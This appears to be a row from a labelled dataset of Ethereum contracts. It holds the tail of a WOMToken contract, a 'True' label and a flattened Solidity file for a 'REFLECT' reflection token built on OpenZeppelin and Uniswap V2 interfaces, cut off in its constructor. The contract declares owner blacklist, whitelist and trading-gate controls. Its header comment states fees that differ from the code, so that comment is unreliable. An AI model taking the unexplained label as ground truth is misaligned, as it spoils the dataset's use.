require(recipients.length == amounts.length, 'WOMToken: batch length not equal');
require(recipients.length <= BATCH_LIMIT, 'WOMToken: batch is greater than limit');
for (uint256 i = 0; i < recipients.length; i++) {
transfer(recipients[i], amounts[i]);
}
}
/**
* @dev Called by owner for transferring any tokens controlled by this contract.
* @param token Interface instance of token.
* @param recipient Receiving address of the funds.
* @param amount Amount of funds to transfer.
*/
function transferFallBackToken(IERC20 token, address recipient, uint256 amount)
public
onlyOwner
{
token.transfer(recipient, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-11
*/
/*
https://t.me/ReflectEth
*/
pragma solidity =0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/* pragma solidity ^0.8.0; */
// SPDX-License-Identifier: UNLICENSED
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
/* pragma solidity ^0.8.0; */
/* import "../utils/Context.sol"; */
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
////// lib/openzeppelin-contracts/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
/* pragma solidity ^0.8.0; */
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
////// src/ChadFi.sol
/**
Chad Finance
u'all are not ready for this
Tax for Buying/Selling: 12%
- 2% of each transaction sent to holders as ETH transactions
- 5% of each transaction sent to Treasury Wallet
- 5% of each transaction sent to the Liquidity Pool
Earning Dashboard:
https:/chadfi.xyz
*/
/* pragma solidity 0.8.10; */
/* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import {Address} from "lib/openzeppelin-contracts/contracts/utils/Address.sol"; */
/* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */
/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */
contract REFLECT is Ownable, IERC20 {
address UNISWAPROUTER = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string private _name = "Reflect";
string private _symbol = "REFLECT";
uint256 public treasuryFeeBPS = 200;
uint256 public liquidityFeeBPS = 500;
uint256 public dividendFeeBPS = 700;
uint256 public totalFeeBPS = 1400;
uint256 public swapTokensAtAmount = 100000 * (10**18);
uint256 public lastSwapTime;
bool swapAllToken = true;
bool public swapEnabled = true;
bool public taxEnabled = true;
bool public compoundingEnabled = true;
uint256 private _totalSupply;
bool private swapping;
address marketingWallet;
address liquidityWallet;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private _whiteList;
mapping(address => bool) isBlacklisted;
event SwapAndAddLiquidity(
uint256 tokensSwapped,
uint256 nativeReceived,
uint256 tokensIntoLiquidity
);
event SendDividends(uint256 tokensSwapped, uint256 amount);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event SwapEnabled(bool enabled);
event TaxEnabled(bool enabled);
event CompoundingEnabled(bool enabled);
event BlacklistEnabled(bool enabled);
DividendTracker public dividendTracker;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public maxTxBPS = 46;
uint256 public maxWalletBPS = 200;
bool isOpen = false;
mapping(address => bool) private _isExcludedFromMaxTx;
mapping(address => bool) private _isExcludedFromMaxWallet;
constructor(
address _marketingWallet,
address _liquidityWallet,
address[] memory whitelistAddress
) {
marketingWallet = _marketingWallet;
liquidityWallet = _liquidityWallet;
includeToWhiteList(whitelistAddress);
dividendTracker = new DividendTracker(address(this), UNISWAPROUTER);
